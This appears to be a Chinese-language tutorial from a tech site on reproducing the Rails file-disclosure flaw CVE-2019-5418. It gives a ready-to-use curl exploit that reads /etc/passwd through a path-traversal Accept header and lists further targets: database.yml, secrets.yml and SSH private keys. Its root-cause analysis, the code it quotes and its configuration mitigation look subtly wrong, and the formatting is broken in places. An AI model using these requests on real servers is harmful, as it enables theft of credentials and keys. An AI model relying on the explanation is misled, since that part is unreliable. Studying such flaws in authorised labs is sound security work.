# Ruby On Rails漏洞CVE-2019-5418復現指南
## 漏洞概述
CVE-2019-5418是Ruby on Rails框架中的一個高危漏洞,影響多個Rails版本。該漏洞源于開發模式下的**文件內容泄露**問題,攻擊者可通過精心構造的請求讀取服務器上的任意文件(包括敏感配置文件、數據庫憑證等)。
**受影響版本**:
- Rails 5.2.2及之前版本
- Rails 6.0.0.beta3及之前版本
## 環境準備
### 1. 搭建漏洞環境
```bash
# 安裝指定版本Rails(示例使用5.2.1)
gem install rails -v 5.2.1
rails new vulnerable_app --skip-bundle
cd vulnerable_app
bundle install
# app/controllers/welcome_controller.rb
class WelcomeController < ApplicationController
def index
render file: "#{Rails.root}/public/index.html"
end
end
rails s -b 0.0.0.0 -p 3000
使用curl發送包含特殊Accept頭的請求:
curl -H "Accept: ../../../../../../../../etc/passwd{{" http://localhost:3000/welcome/index
或通過瀏覽器開發者工具添加請求頭:
Accept: text/html,../../../../../../../../etc/passwd{{
成功利用時,服務器將返回/etc/passwd文件內容而非預期的HTML頁面。
漏洞核心在于ActionDispatch::FileHandler的文件路徑處理:
1. Rails開發模式下會使用ActionDispatch::DebugExceptions中間件
2. 當請求包含異常Accept頭時,路徑清理邏輯失效
3. ::File.read直接讀取未過濾的路徑參數
關鍵問題代碼:
# actionpack/lib/action_dispatch/http/parameters.rb
def path_parameters
@env[PARAMETERS_KEY] ||= begin
params = begin
request.parameters
rescue => e
...
end
params.merge!(path_info_parameters)
end
end
升級至以下版本: - Rails 5.2.2.1 - Rails 6.0.0.beta4
在config/environments/development.rb中添加:
config.action_dispatch.debug_exceptions = false
除系統文件外,還可嘗試讀?。?- config/database.yml
- config/secrets.yml
- ~/.ssh/id_rsa
”`
注:實際復現時請確保遵守法律法規,僅在授權環境下進行測試。本文檔僅供學習網絡安全技術使用。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。